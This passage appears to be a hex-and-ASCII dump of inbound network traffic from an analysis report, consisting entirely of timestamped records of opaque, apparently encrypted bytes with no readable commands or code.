3d 1a 0f eb 72 48 2e 3a 1c 1e 21 d2 56 7e d5 4c 79 e0 Data Ascii: 8&!O@gM<0dV&V'Gu'\fx{C"(aiE(""K?za3qw7).P=z.8jd5a>qINt/.N~u(sp/I<}o3NnZn+L1I}i:j)P@PUmoX9_wE=rH.:!V~Ly
2022-04-20 13:31:40 UTC	147	IN	Data Raw: f7 e9 02 f1 15 99 81 52 eb 5e fb c3 3a e5 fb a5 66 60 f6 72 af 2c 9f b0 4c b0 a2 55 2d 07 f6 9b 40 b9 e0 ae 36 70 1b c6 7e 5f de 8c 91 5b 57 26 73 49 41 45 86 2f 18 d4 4e 79 cd 09 3c 9a a5 c6 ce 2c b8 88 05 d0 56 c1 4d 5c 82 ee d9 3f 96 f0 03 4a f0 1e 37 b7 52 be cb 12 4f f9 69 c8 c0 aa 60 71 9f 17 62 df d9 20 5a 9f 57 13 d6 83 15 40 7b 75 e8 7c 0a d8 c9 cc 96 f5 f0 9b 49 db 93 09 26 c2 44 d8 e5 ed b6 28 08 4d 05 b5 50 a9 00 02 2c d1 3e 50 73 86 76 70 16 19 ff 5e f4 ee 22 3a 5e 55 0d 3d 15 90 18 d6 02 4d 65 a3 df ab 73 e2 5d f6 da 1b 68 77 ec 36 28 46 00 bb 06 cb 6a 56 ac 3e 9e 52 5e c7 c3 8c 60 cf 17 26 b2 43 0e 43 fc db 4f f3 e0 b6 21 08 39 b0 62 3a 67 10 1d 02 18 38 49 2f 05 59 40 63 83 82 19 32 47 3e 4c 10 8b 81 9f fc 78 ec a7 46 2d 67 b8 98 a5 80 64 Data Ascii: R^:f`r,LU-@6p~_[W&sIAE/Ny<,VM\?J7ROi`qb ZW@{u\|I&D(MP,>Psvp^":^U=Mes]hw6(FjV>R^`&CCO!9b:g8I/Y@c2G>LxF-gd
2022-04-20 13:31:40 UTC	148	IN	Data Raw: 8e 24 94 02 d4 36 fb d9 77 b5 ca ca 17 1a b3 ac 33 30 67 60 bc 39 0a 13 0b a8 e5 7d 5d ed 79 d8 4a 26 72 02 41 cc fa 38 1c ca 4e 97 7b ed 63 78 d6 90 78 a0 60 63 be ea 92 31 29 4f e7 6e 1f 1a e0 b5 a3 6b 25 a7 76 c1 1e 71 b8 39 8a a1 17 68 ea 44 f5 ce 96 d2 7f 43 e7 a7 fc 74 7d 45 d1 ea 59 d4 2b ea ac 29 45 9e 95 48 db 95 68 39 6f 98 69 ca b2 17 43 50 36 04 02 2b 19 4b 4e a5 56 60 3c c7 b6 c2 f8 da 80 e0 9f 8c ce c5 be 26 cb 72 74 f3 f9 ba 05 b4 1b 2e 5c 18 15 59 6f 3f 17 1d 6b 88 79 9e c5 05 ce d3 f1 7f 40 d3 0c 67 16 20 9e d1 34 f5 fa e5 64 65 98 fd 8e 45 95 e4 cb a7 d1 01 14 3f 61 55 27 03 d8 fc 2f c3 99 c1 6f 34 93 c9 fa 20 ce 33 64 7b 67 18 4c 4e ac 93 47 97 be c3 7f 31 40 02 d4 03 a4 32 82 c0 5c 89 a5 76 db b6 fb f7 dc ed fe d1 69 eb 87 36 26 b2 60 Data Ascii: $6w30g`9}]yJ&rA8N{cxx`c1)Onk%vq9hDCt}EY+)EHh9oiCP6+KNV`<&rt.\Yo?ky@g 4deE?aU'/o4 3d{gLNG1@2\vi6&`
2022-04-20 13:31:40 UTC	150	IN	Data Raw: 1f 1f 2b 42 2d ba 2f 41 63 88 c5 10 33 47 32 73 2a 7d 80 99 ef 9a f6 a6 46 2a 63 f4 7d 87 96 7f 6e d9 a3 3f 59 a4 ce 0d 32 84 29 e0 11 3f 15 49 7c 7e c9 53 22 39 d5 2e 00 51 3b 7a 2e 53 21 d3 d4 f7 25 27 27 de 81 98 60 5d 45 55 43 52 2b 3c 1e 32 70 03 43 ed 08 22 3c 48 1d 2c 9c 63 e4 30 16 a1 45 ec 4b de 23 45 4b a2 96 09 73 6b 6e 4e 2e e1 5c 9f 01 b9 8e 87 f0 8b e6 f8 1e 32 93 a6 f7 03 37 3f e7 80 e6 32 d2 b6 7e ee c3 00 e0 d9 d8 6e 73 60 c5 59 ad 03 48 1b 8d e6 ff 2b 55 2b c0 d8 56 93 3d 56 9e e5 19 04 2f 7b fc 6e f1 ca 4c a8 e4 65 60 c3 49 97 81 db 48 38 0f ca 56 e2 66 3a 75 bc 61 e7 39 d8 39 b3 96 15 58 4f 31 71 ea f9 56 e1 71 17 03 72 b5 74 84 39 29 e0 38 13 f9 cb f8 61 22 01 b3 e1 87 73 8b 18 19 7e 63 e3 8b 36 3b 9c f2 34 fb a0 e5 fd d8 ed a1 fa 2e Data Ascii: +B-/Ac3G2s}Fc}n?Y2)?I\|~S"9.Q;z.S!%''`]EUCR+<2pC"<H,c0EK#EKsknN.\27?2~ns`YH+U+V=V/{nLe`IH8Vf:ua99XO1qVqrt9)8a"s~c6;4.
2022-04-20 13:31:40 UTC	151	IN	Data Raw: 84 af d9 57 78 11 02 d2 2b 55 33 82 c6 6d c3 a5 76 c3 9e 18 f6 c1 eb 91 c8 68 eb 81 25 ad a3 76 aa 51 6b 98 48 24 b0 f1 da b0 86 01 c3 1e 9f ec 65 bc c7 3f bb c6 fa 5e f3 fa d1 d5 aa 9b d7 3d ea 11 c7 00 14 b4 52 eb 5f ed e1 2b d6 fb b9 c1 2a f6 75 b9 70 8f be 5a bc bd 7d b2 11 08 90 78 93 3d a6 36 71 14 b5 78 73 dc a6 80 53 a5 07 1e 8b cf 14 8c 51 08 77 5f 50 f1 09 29 b2 37 ec ce 26 bf 90 cc d3 66 c7 5b d1 80 ee d9 2f 94 ef 3c 79 68 19 20 43 7b 83 c9 0a 4e ea 62 d7 2a 83 86 70 88 1a 75 55 c6 de 5b b2 46 1b c5 8b e0 54 8c f0 ea 7c 01 52 2c ee 82 e7 f2 4d d0 f1 8d 01 1a 3d 8c db ef c1 ba 95 09 4d bb b4 43 8b 1e 21 3a d7 cc 33 73 86 7d d8 04 48 db 4b e0 cc b1 02 ca 5f 19 15 d9 fc c0 d2 14 ca 6e ab f7 df 65 f6 4f b1 54 19 68 77 e8 13 20 6e 7c aa 0d dc 00 8e Data Ascii: Wx+U3mvh%vQkH$e?^=R_+upZ}x=6qxsSQw_P)7&f[/<yh C{NbpuU[FT\|R,M=MC!:3s}HK_neOThw n\|
2022-04-20 13:31:40 UTC	152	IN	Data Raw: 3b ec f6 96 0e 54 1f 99 1b 99 49 1e 2c 20 60 50 72 2a 29 72 9f f2 34 fb a8 de 13 d9 fc b0 cf 5e 7a e3 1a 96 ba bc 4e f0 0c a4 ac b9 4f 4c ec df 52 e8 bf fe 90 be 41 a3 e8 98 b2 8c 10 80 30 8e 2a 9a 06 5a 3b 28 d4 51 ac c4 67 93 18 b3 ad 38 02 5b b1 25 39 0c 33 4d 22 80 7c 5b ff 4e 0f d2 03 55 25 a8 d1 e3 12 9d 04 4e 97 6e e6 56 90 cb 84 56 33 0a 1d d9 fd 1f 32 36 55 7c 5f 26 01 ee 32 b9 4b ff 8d d1 c1 01 5e 83 da 9a bd 05 6a 7a 38 94 c9 80 5b 67 58 7d 83 c5 6f 4f 72 52 ca ac dc 03 18 b7 0d 6b 71 bc 3b df bf 0c 6b 42 88 75 da 85 b2 dd 75 1d 1d a9 33 05 6b 56 b2 42 74 0b 7e 9e 3b f3 ce ae 16 f3 f2 a9 dc 33 25 d4 6f ef c5 f7 a4 00 bd 2e 47 64 1b 13 fb 61 3d 28 cc 90 89 7f b2 09 6a 8c c6 e5 6f 77 55 96 42 31 07 1f ce 2a df 89 05 65 65 81 cf bd ae b1 cc 1d 8f Data Ascii: ;TI, `Pr)r4^zNOLRA0Z;(Qg8[%93M"\|[NU%NnVV326U\|_&2K^jz8[gX}oOrRkq;kBuu3kVBt~;3%o.Gda=(jowUB1*ee
2022-04-20 13:31:40 UTC	153	IN	Data Raw: 58 75 77 6b bf 92 18 d4 0b 85 f8 86 f2 a5 41 e9 0c fe 42 1d 68 7d db 34 00 bf 0b a8 0b f0 05 00 6e 3f 9e 5c 69 7b 58 a9 4b ae 63 39 f4 69 0c 49 88 d7 57 db 02 a6 2a 7a 1f da 1c 40 4e f8 18 1d 59 b1 61 16 db fd 5f 24 a2 bf 0b 32 47 29 4c bc 88 81 9f cf 9b 95 c6 47 2c 70 84 c1 1c b3 58 0e e0 bd 77 7f ab db 12 29 88 2f c8 f9 29 0a 54 a8 15 9b 11 32 2b be 2c 48 cb 18 41 4f 81 3f 9a fe b5 3e 26 27 c5 b1 0e 95 5c 43 75 46 33 4b 3d 18 25 7e 56 c5 db 32 2c 0b 40 48 24 56 64 c8 3d 10 83 ad fb 75 87 08 2f 35 dc be 1a 60 74 34 c3 14 c7 ac b8 32 e2 bf b7 de 61 e7 e5 30 f1 ea 58 0e d6 42 4d 95 96 e6 27 da e5 c7 35 ef 22 da d7 84 5f 43 4e 32 5d b7 2d 99 e0 8c e0 d3 69 f9 48 c1 d2 3d b1 71 cc bd d7 33 31 27 36 cd 39 ef 34 4d 9e c5 ef 74 c1 4f b7 e1 bc 3a 2e 0f df 5e b3 Data Ascii: XuwkABh}4n?\i{XKc9iIW*z@NYa_$2G)LG,pXw)/)T2+,HAO?>&'\CuF3K=%~V2,@H$Vd=u/5`t42a0XBM'5"_CN2]-iH=q31'694MtO:.^
2022-04-20 13:31:40 UTC	155	IN	Data Raw: b1 90 71 98 67 0c c5 3e e4 6b 6e 61 66 19 7d 09 39 d5 2b 8a 48 23 48 6b b8 f1 e0 77 ab c4 1b a5 c8 23 d7 d8 9f ac f2 b7 a8 8f 0b 3d 8b f0 19 ae ad 8b a9 06 d1 4f 98 16 78 19 4c 53 97 79 57 84 a9 f3 3d 06 23 03 d2 2f 41 44 18 e3 1e cd 83 69 a6 be 3b fe dc eb 8d e1 91 ea 81 23 1a c9 08 cb 3d 6a 9c 57 56 28 d4 f7 b1 a0 1e bb 23 b6 e4 64 8a d8 69 53 c6 fa 52 ce b8 7c b6 ab 91 f9 22 93 98 d2 2f 1a a0 4d 92 7f d8 e9 2b c7 f4 9a 13 30 f6 74 84 e0 f0 f3 59 a4 b2 62 cf 9d d3 bc 5b b7 35 d7 16 45 04 4b 79 40 d7 a5 7b 79 46 03 4f 35 b3 75 87 2f 1d 69 24 c0 fc 30 26 94 22 bd ee 1a a4 a0 ce c4 7e 3e 5a d1 83 c4 b3 40 e3 e5 17 66 77 62 ad 98 57 a1 ed 0d 39 ca 58 c9 d4 82 bd 5a 66 10 75 54 f4 4a 24 ff 45 30 c3 bf 7e cc d2 09 e6 5a 14 07 f8 d1 8a e1 e4 a4 f9 22 92 03 34 Data Ascii: qg>knaf}9+H#Hkw#=OxLSyW=#/ADi;#=jWV(#diSR\|"/M+0tYb[5EKy@{yFO5u/i$0&"~>Z@fwbW9XZfuTJ$E0~Z"4
2022-04-20 13:31:40 UTC	156	IN	Data Raw: e0 9b 30 ae 3c 4d b0 03 3c 17 3e 51 6f 07 88 35 4d 80 cd 88 75 c1 49 07 ae ef 4a 09 2f 45 41 fd 4f e4 3a 99 6b f6 36 e7 16 a1 82 0c 58 de 58 10 fa ee 4d e6 10 16 2f 78 3e 5b b0 fe 1c ca b8 3b ea dc d8 23 3c 1e 99 06 ae a6 85 09 0b 45 f4 13 5d 08 49 99 d2 94 e4 8b f6 70 fd d1 a7 c3 10 a4 82 1b 96 9e f5 50 6a 29 94 8b 66 51 5b ca ab d2 96 de e0 b5 92 98 03 e8 9e 98 78 4b cc 20 a8 0e 24 1e c0 1e 25 86 7e b3 dc 5a 38 e3 b2 ad 21 0e f5 36 45 38 0a 1d 03 fe e1 7d 5b 61 74 3b 5a 00 58 88 8e ce fa 12 50 0f 4e 97 6e cc 56 90 cb 84 56 33 e6 1d d9 fd 1f 32 09 ec e6 7a 0b 94 ed 00 b2 4d 0f 2c d1 c1 1e 5b da 2a 9b bd 1d 68 ed 47 f5 ce aa d9 06 22 e6 a6 ec 40 cd 6d 49 ea c3 fb 2e 0a 8e 09 e7 88 bd 3b f9 ec 6b 15 23 96 6e f6 63 af 47 56 1a 90 f1 4d 18 4b 4b 91 e7 74 14 Data Ascii: 0<M<>Qo5MuIJ/EAO:k6XXM/x>[;#<E]IpPj)fQ[xK $%~Z8!6E8}[at;ZXPNnVV32zM,[*hG"@mI.;k#ncGVMKKt
2022-04-20 13:31:40 UTC	157	IN	Data Raw: 54 bf d5 75 52 de 00 37 95 44 30 d8 84 2b af f6 24 ee 56 89 04 b9 ee 82 e5 c4 76 d1 db 93 99 17 c7 9f fd c5 2e a1 a5 0f 6d 94 bf 43 8b 09 08 c3 c7 b2 07 59 04 09 b3 06 3b ef 6a 26 c6 ba 3a c4 7a 34 04 f8 b3 de d0 14 c0 42 30 d4 aa 67 ef 61 27 43 1b 6e 57 42 59 49 47 0a ac 2d 1d 6f 7e 0f a4 bb 75 64 1b e2 4b 66 a0 45 06 24 42 1f 4f 97 cf 67 0a fa a7 2c 56 b3 ce 03 20 4f fc 3c ca 1e 2b 44 a1 f0 f6 52 45 a2 62 0d 32 47 14 ca 4e 89 81 86 e8 dd 12 a6 46 2a 5e 19 f7 e7 97 75 05 e6 6b 3f 5f b7 47 37 04 86 18 c0 c9 28 0a 52 a2 c4 ee 70 33 32 92 ca 00 51 3b 46 c3 d9 41 d2 de 9c 18 ec 27 d8 99 6d b1 71 54 79 0c 87 2a 3c 18 01 df 17 5f fe 06 0a d4 5e 02 02 48 e4 b6 5c 06 ab 50 da be 81 22 45 d1 98 92 08 42 4b b4 59 31 ea 82 5f 26 a9 9f 9d d1 49 1e f9 18 0e c1 da 76 Data Ascii: TuR7D0+$Vv.mCY;j&:z4B0ga'CnWBYIG-o~udKfE$BOg,V O<+DREb2GNF^uk?_G7(Rp32Q;FA'mqTy<_^H\P"EBKY1_&Iv
2022-04-20 13:31:40 UTC	158	IN	Data Raw: 0c 4b e3 7a f3 9c a4 58 9c 05 65 5f ed 7a 8b 2f 19 68 77 a3 d8 1d 2e 98 bf b8 af 27 ac a4 ee 08 56 c7 5b 4b a0 c3 c8 18 a2 3f 17 62 68 3e 41 b0 7a af d5 3a bc eb 65 c7 fe 00 d4 13 9e 11 71 72 02 20 5a 9e de 15 ea b1 25 76 2b 24 e8 7c 2b 04 d5 ef 82 fd cc 4a d0 db 95 29 b4 94 ef da e5 ef 81 78 0f 4d 05 2e 66 a6 03 06 1a 1b b2 01 73 a6 f3 df 07 3b f4 43 c8 3f bb 3a 58 75 9f 6b bf 92 18 d4 34 1e 62 a3 df 30 42 db 5b f8 62 c5 68 7d c4 07 a5 4b 0a a8 12 83 47 87 0e 3e 98 72 f0 43 a3 8d 66 a4 65 f9 b2 49 1f d5 ad fa 5d d5 db 78 2a 7c 35 90 84 2c 4f f8 03 3c 36 d2 45 3b d3 f1 c6 1d e3 ab 0d 36 67 d4 64 45 89 1b bc c8 e7 cd 87 a6 2c 74 9b a9 a2 98 75 01 d9 88 17 a6 b6 dd 14 03 15 40 81 01 28 0e 72 63 7f e5 70 a9 0e 97 22 27 71 dc 6c 41 a7 00 9d d0 98 38 3c 0f 21 Data Ascii: KzXe_z/hw.'V[K?bh>Az:eqr Z%v+$\|+J)xM.fs;C?:Xuk4b0B[bh}KG>rCfeI]x*\|5,O<6E;6gdE,tu@(rcp"'qlA8<!
2022-04-20 13:31:40 UTC	159	IN	Data Raw: df 1f 25 20 6e 96 70 c1 7e 49 97 8b 50 19 7a 4b 41 fd 1f 30 03 cd 98 1b 0a 0e cc 0d a1 6a 2f 8f 4b e4 33 6a 8d 03 99 bc 03 40 34 23 fa c8 80 41 50 ba e6 a6 ee 4a eb 13 28 eb 59 da 23 1b a9 29 43 12 98 16 c8 b3 42 16 22 89 75 fe f7 a1 47 50 29 3a 76 2d 19 4d 65 33 3c 15 15 5f b2 e2 f6 cf a8 3c 07 a9 e5 cc 15 01 cf 73 75 e0 fa db 29 a2 33 7e 76 e1 12 fb 78 36 82 4b f0 88 79 9c 47 11 ec c7 e5 f1 4d 66 1d 41 3c 0d 38 d1 34 df a1 09 65 65 84 c6 6c 56 b0 ca 31 27 af 6a 2f d9 9b 8a de dc d6 ee 90 18 a2 fe 49 14 8e a7 a7 20 ee 4e b7 08 70 01 64 b1 be 80 50 ae 2d a7 36 79 42 06 f2 2c 5f 33 82 5c 16 ee b4 50 f1 99 19 f6 dc cb e8 c6 68 eb 9c 0d c9 a2 76 ac 16 ec e6 29 2f b2 f5 fa b7 87 01 c3 99 ba c1 76 ac e5 49 ab c7 fa 74 64 dd 02 d7 b5 9e d5 c4 eb 02 f1 28 92 f8 Data Ascii: % np~IPzKA0j/K3j@4#APJ(Y#)CB"uGP):v-Me3<_<su)3~vx6KyGMfA<84eelV1'j/I NpdP-6yB,_3\Phv)/vItd(
2022-04-20 13:31:40 UTC	161	IN	Data Raw: fd 3a 28 97 3e 7a 25 05 18 74 a2 57 e4 70 33 0b d9 22 01 51 22 72 69 5e 21 d3 d8 b2 ba 58 46 d9 99 f3 b4 75 44 5f 2c d7 0f 11 09 07 41 35 5e fe 1f 02 ac 4e 02 04 79 4a 31 3c 07 ad 7e 7c 0b e0 23 45 4f 9d 95 1b 64 6b e5 7c 1c f8 84 be 07 a8 9f 82 f8 e7 f6 f8 18 17 e4 70 f1 fd 28 35 de 11 98 42 c4 a9 59 30 e9 2d fc c8 52 5a 52 5a 14 7d 86 04 60 e1 ac 73 e8 03 87 36 cb fa c0 af 3c 50 b2 7c 43 76 39 7b e9 59 c5 35 4d 84 77 33 58 d3 6f bd a7 c3 5b 2f 2f 7b 50 fd 4f db 61 b8 92 f7 2d c9 c5 22 fc 6b 73 5c 22 51 d6 ef 49 c6 15 33 02 69 82 5e b0 ee 3a ea 07 8e fb dc f8 6c 1d e7 98 1f 80 75 02 77 6c 6e 76 69 1c 27 48 9d f2 ae c1 a6 e4 cc f8 d2 b7 e5 30 24 39 0a 96 be bc 41 42 d0 88 a3 99 7a d9 b2 e0 51 e8 bb c1 9a 97 b8 a2 72 bb b5 f3 48 c1 1e 8f 2e 85 3e 13 0f 05 Data Ascii: :(>z%tWp3"Q"ri^!XFuD_,A5^NyJ1<~\|#EOdk\|p(5BY0-RZRZ}`s6<P\|Cv9{Y5Mw3Xo[//{POa-"ks\"QI3i^:luwlnvi'H0$9ABzQrH.>
2022-04-20 13:31:40 UTC	162	IN	Data Raw: b3 f1 dc 95 04 7f a2 02 9f e8 44 c5 c4 41 aa 5d df 79 f5 f4 22 98 ab 91 fd 1d 5c 11 f7 02 08 ae ab ea 5f ee cb ad b9 8c b3 ea 35 d6 22 af 8e 8e 08 7d 89 a4 5b 95 57 f7 91 54 b1 96 be 36 76 13 5b 51 a6 df 8d 84 52 c4 7b 04 5e cd 10 a6 7e 18 76 5f c0 fc 30 39 94 1d 97 cf 26 ac 80 02 c0 56 c7 45 f9 7c ef d9 38 a8 62 69 03 69 1e 33 9d 28 ae cb 12 df cf 48 d3 f2 a2 f8 73 9f 11 55 86 cd 20 5a 81 65 18 3e a1 03 50 dd a2 96 1d 0a 7a dc cf d1 e0 e4 b3 4b fe be 11 14 ca dd da e5 eb 81 50 1c 4d 05 ab 4a a3 e8 21 3a c0 98 87 0d e7 76 d2 03 1b bf 4b e0 c6 20 1f 73 4d 3f 35 8a 92 18 d0 34 3e 71 a3 df b5 74 de b0 df 42 1d 42 ff ba 46 29 46 0e 88 58 db 6f 7e 95 1b b3 49 50 1d 97 8d 66 a0 65 37 a6 49 1f 54 a0 2e 4e f3 fd 8d ac 02 54 b1 62 25 6f ae 1d 02 1e b1 61 16 c7 fd Data Ascii: DA]y"\_5"}[WT6v[QR{^~v_09&VE\|8bii3(HsU Ze>PzKPMJ!:vK sM?54>qtBBF)FXo~IPfe7IT.NTb%oa
2022-04-20 13:31:40 UTC	163	IN	Data Raw: 58 6a 29 a9 39 8a 50 5b d3 90 78 11 be e1 b3 bc 3a dc 89 9f 98 e6 4e 97 30 8e 2e 1f 3b ed 0f 23 fb 01 b2 dc 47 30 b1 a6 ad 27 3a 5b b1 25 39 0c 33 a5 22 80 7c 5b ff 71 61 49 26 78 b0 ab e3 e8 14 14 71 4f 97 71 e1 cd 7c ca 84 4f 10 4c 9a b9 fc 19 1c ab 31 87 7b 0b 0a e8 55 a2 6b 2f 15 f4 ec 0f 5d 8b 5b 9a bd 03 60 a8 53 f5 c8 9b 77 81 42 e7 a0 c2 e6 17 0c 48 ea 5d fe 7a 19 a8 29 d9 ad 90 29 ff b5 1b 14 23 89 55 1f 8f ae 47 4f 2a 3a 76 2d 19 4d 65 33 3c 15 15 5f b2 e2 88 cf a8 3c 07 a9 e5 cc 15 01 b1 73 75 e0 fa 70 33 a2 33 7d 76 e1 12 fb 78 36 86 4b f0 88 79 9c 47 6f ec c7 e5 f1 4d 66 1e 41 3c 73 38 d1 34 df 0d 13 65 65 81 e2 bd ae b1 cc 1d 8f 53 75 4f d8 9f ae f8 a1 d7 ee 0a a7 aa c2 7e 12 a8 da a6 20 ce 19 53 1d 70 19 50 60 46 81 56 82 85 5f 29 19 43 02 Data Ascii: Xj)9P[x:N0.;#G0':[%93"\|[qaI&xqOq\|OL1{Uk/][`SwBH]z))#UGO*:v-Me3<_<sup33}vx6KyGoMfA<s84eeSuO~ SpP`FV_)C
2022-04-20 13:31:40 UTC	164	IN	Data Raw: e2 10 67 a0 45 bc 97 64 0e 69 a8 4b 4e f3 fb 87 d9 64 35 b0 7f 09 b6 f9 1c 04 34 ad 3a 5a d4 db 44 43 1f ab 0d 32 dd 11 49 57 af a1 04 e4 f5 eb 87 bc 34 74 9b 96 8c be 8c 00 c6 a4 15 d9 c9 bc 13 29 93 1e 7e 01 28 0a c8 a7 52 f7 56 13 b5 bb 33 01 71 39 75 41 a7 3f ca f6 61 39 26 21 f2 1f 89 f5 5d 45 5b 0c d2 2b 3c 18 bb 44 31 4d d8 3f bd 2c 5f 02 24 7f 7b c8 3d 18 a6 7c 03 74 81 24 6f cd c3 de 1b 64 6f 5f f9 30 ea a2 04 08 84 8d a4 f8 c1 e6 f8 18 28 c1 41 08 fc 37 24 dc 6e e7 23 c3 83 db 6e a3 2d fc cc e8 de 7e 48 32 c7 88 28 72 c7 ac 47 f8 03 87 09 81 cb 39 ae 23 45 b0 03 3c 17 3e 51 6b 07 88 35 4d 80 cd b4 74 c1 49 07 ae ef 49 09 2f 79 40 fd 4f e4 20 89 6b f6 32 c2 c7 59 83 0a 74 76 a0 0f 9a ef 49 c2 af b5 2e 78 a4 e4 b8 c2 28 cc 07 98 eb dc f8 50 54 07 Data Ascii: gEdiKNd54:ZDC2IW4t)~(RV3q9uA?a9&!]E[+<D1M?,_${=\|t$odo_0(A7$n#n-~H2(rG9#E<>Qk5MtII/y@O k2YtvI.x(PT
2022-04-20 13:31:40 UTC	166	IN	Data Raw: d8 db fc 68 74 5c 8e ef 6b 14 4b a7 a7 20 54 1c 95 1a 56 39 8f 49 bf 80 76 af b4 d9 57 67 59 2a 2b 2a 5e 35 a8 40 4d a2 a4 76 d5 be dc f7 dc eb 0b ec 45 f9 a7 05 f4 a2 76 aa 1c 2c 83 48 2e ad d5 f2 46 87 01 c5 29 19 92 05 8b c5 45 8a 02 fb 54 e4 48 27 fa b8 b7 dd f8 eb 02 f7 22 7e 9d 52 eb 40 f2 c9 d2 c6 ed b4 c0 b7 88 13 af 8e 8a b2 9e a5 b6 7d 2f 22 db 83 72 b1 ec ac 36 76 2c cf 62 5f de 92 88 50 bf 04 65 59 e7 92 f8 4e 18 76 5b 7a 1e 1c 28 b2 a7 e3 e3 34 8a 80 09 d2 56 c7 7b 5f 9e ee d9 21 89 cc ee 63 68 18 1d 3f 04 ce ca 12 41 ca ad c0 d4 82 30 57 b2 00 53 72 16 21 5a 9e 64 a9 dc a0 03 4b df dd e9 7c 0d 50 5a 91 e3 e0 e4 b7 f1 12 92 03 32 70 ab f6 f4 cd 81 6c 0e 4d 05 94 e3 90 11 20 27 ee 4b 00 73 80 5d 54 79 5a ea 4a e4 e6 70 3b 5e 5f 83 30 f3 81 3e Data Ascii: ht\kK TV9IvWgY+^5@MvEv,H.F)ETH'"~R@}/"r6v,b_PeYNv[z(4V{_!ch?A0WSr!ZdK\|PZ2plM 'Ks]TyZJp;^_0>
2022-04-20 13:31:40 UTC	167	IN	Data Raw: 05 36 ee a0 84 20 f0 22 47 70 fb ea 69 2c 8e 16 2f e2 81 53 8c c9 1a 00 26 3b ea fc f8 6d 35 1e 85 37 7f 5e 84 0f 27 ed 08 0c 3d 09 4d bd 19 35 e4 8b 6c cf f5 ed 90 c5 db 05 82 1b b6 b8 be 59 6a 34 a1 5a 9e 50 5d e6 03 2e 89 be e1 b1 b6 54 a3 e8 9e 02 c7 43 f0 17 ae c2 84 1e c0 3e 08 c6 77 b3 c0 6f e9 1b b3 ab 0d a6 0d 29 25 39 0e 39 ce 5d e1 7d c1 de 7c 07 6e 06 95 2b 8e ce da 21 29 06 4e 8a 59 38 7f 69 cc ae d2 67 05 62 b8 f8 3f d8 28 4f e6 e0 2e 23 d9 0b 83 85 2e 8f d1 e1 04 66 ab 23 87 95 fa 41 14 40 df 4a fe 3e 79 43 e3 86 07 61 69 6d d3 cf 74 cf 25 38 47 28 43 88 9d 1b c4 95 62 08 0b 70 74 de 9c 84 c1 2e 51 13 8f 28 39 bb 4e b1 42 ee 31 72 a4 e4 d2 3e a9 3c 9d ac ef c0 33 21 d4 6a 5d 19 db ab 20 88 b1 19 3f 19 13 ff 5e ed 01 35 91 13 5c b5 76 32 cd Data Ascii: 6 "Gpi,/S&;m57^'=M5lYj4ZP].TC>wo)%99]}\|n+!)NY8igb?(O.#.f#A@J>yCaimt%8G(Cbpt.Q(9NB1r><3!j] ?^5\v2
2022-04-20 13:31:40 UTC	168	IN	Data Raw: 5c 0e 4d 03 9e c5 f5 70 21 3a c2 92 10 71 86 77 48 22 16 f9 6c c0 d7 b8 3a 5e 7f c1 0b de 93 07 c0 3c 39 63 a3 d9 80 e1 88 28 df 42 1f 48 6f c6 27 28 dc 2f 85 1f fc 4f 6c 0d 3e 9e 78 9e 23 c2 8c 79 83 6d df b3 49 19 65 0a a9 2e f2 fb a3 0a 6f 37 b0 62 bb 6a d5 0d 24 3e 38 46 3b d5 fb 4b 7c 82 aa 14 1a be 35 64 43 a3 03 e7 84 f4 eb a3 66 38 76 9b 89 1c b3 58 10 e0 82 2b 5d b7 dd 32 27 88 3e e0 1d 00 f3 53 82 79 cf f6 4d 4a bb 33 05 71 28 6e 41 a7 ba f6 f3 8a 1e 06 32 da 99 f7 b4 49 5a 5f 2c 52 3f 14 e1 20 61 1a 75 78 61 43 2c 5f 06 24 74 60 c8 3d 9d 8e 79 e8 53 a1 34 47 4b bd 9f 30 7b 6b 7f 46 38 c2 5b 9f 2d af b5 04 a6 00 e6 f8 1c 28 fc 5a 08 fc b2 16 d9 85 c0 03 d2 ab 5d 10 e2 1f e3 c8 c8 60 75 60 cb 5c ad 03 4a 67 f2 87 f8 03 83 09 d8 d0 39 ae a6 73 b5 Data Ascii: \Mp!:qwH"l:^<9c(BHo'(/Ol>x#ymIe.o7bj$>8F;K\|5dCf8vX+]2'>SyMJ3q(nA2IZ_,R? auxaC,_$t`=yS4GK0{kF8[-(Z]`u`\Jg9s
2022-04-20 13:31:40 UTC	169	IN	Data Raw: 3c 82 81 e0 24 32 21 cd 58 f3 9e bb aa 26 a6 13 5f 5c 18 13 61 5b 31 12 13 b1 b1 7b 98 67 34 53 e7 e5 6b 77 45 24 9e 1d 08 3f fb b2 81 b3 07 65 61 be d7 97 57 b0 56 3e 88 c3 2d 0e e0 9d aa d8 fd 1a ce 0a 3d 90 fd 47 cd 89 a6 a1 0a 48 47 d9 09 70 1d 6c 72 bd 80 56 1e 8a f4 45 5e 62 38 d0 2b 5e 13 5c e6 33 c3 ba 65 f9 67 19 f6 da c1 17 b7 09 ea 81 21 10 98 74 aa 3c f0 bd 65 3c 94 d1 e1 bd 86 01 e3 f2 bf ec 64 95 d3 69 53 c6 fa 52 ce 54 7c b6 ab 91 f9 1d d6 00 f7 02 8e a3 7f f9 79 c8 dd 29 c7 ed 92 ed 10 f6 72 b1 99 a6 6b 59 a4 b0 57 33 79 97 90 54 95 0a 90 34 76 0c d1 5c 72 cc ab a2 45 44 05 65 7f d3 35 86 2f 06 7f 77 a3 d8 1d 2e 98 bb b8 af 27 ac a4 ee ed 54 c7 5b 4b a0 c3 cb 18 a2 da 15 62 68 3e 10 9c 7a af d4 38 6d 13 64 c1 d2 a8 2c 0c fe 10 75 56 fe 1f Data Ascii: <$2!X&_\a[1{g4SkwE$?eaWV>-=GHGplrVE^b8+^\3eg!t<e<diSRT\|y)rkYW3yT4v\rEDe5/w.'T[Kbh>z8md,uV
2022-04-20 13:31:40 UTC	171	IN	Data Raw: 03 9b ab 5d 10 e2 37 d8 c8 c8 60 53 60 cb 5c ad 03 4a 63 f2 87 f8 03 83 09 9f d0 39 ae a6 73 b5 eb 1b 37 67 79 ed 79 c9 73 69 84 ed 01 5d 38 48 9d 8d e8 dd 51 6e da 41 f9 6f a4 76 90 6b 6c 08 e2 fd 86 a2 6a 70 5c 26 51 b3 ca 49 c6 90 30 07 81 a5 7e 9b c5 bc 94 46 3a ea d8 d8 11 37 1e 99 85 a3 72 96 2f 2d 0e 74 6d 3c 29 27 b9 f2 34 fb 87 de 13 d9 fc b0 cf b6 7a e3 1a 96 ba 83 3b 68 29 89 39 ba 7d 49 ea a1 32 ea bf e1 95 ec 9c a2 e8 81 94 ca 97 e0 31 88 04 03 60 a1 1f 05 df 57 d0 de 47 10 80 96 80 35 02 53 2b 26 39 0a 39 a5 78 e1 7d 44 eb 79 ef 49 26 7e 00 08 b0 9b 33 34 02 6e f3 73 c1 7e f3 ef a9 42 3f 44 07 ba fc 